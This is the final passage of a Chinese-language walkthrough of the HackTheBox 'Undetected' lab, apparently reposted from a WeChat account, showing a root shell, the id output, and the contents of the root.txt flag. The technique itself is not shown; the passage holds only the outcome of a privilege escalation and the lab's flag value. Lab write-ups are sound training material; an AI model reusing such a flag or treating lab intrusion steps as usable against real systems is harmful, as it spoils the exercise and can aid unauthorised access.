uid=0(root) gid=0(root) groups=0(root)
成功提权到root
root@production:~# ls
root.txt
root@production:~# cat root.txt
4a243e1e3ccb05dbcd7a29abb49d3bcf
成功拿到root的flag文件
原文始发于微信公众号（路西菲尔的故事汇）：Hackthebox - Undetected 靶场实战
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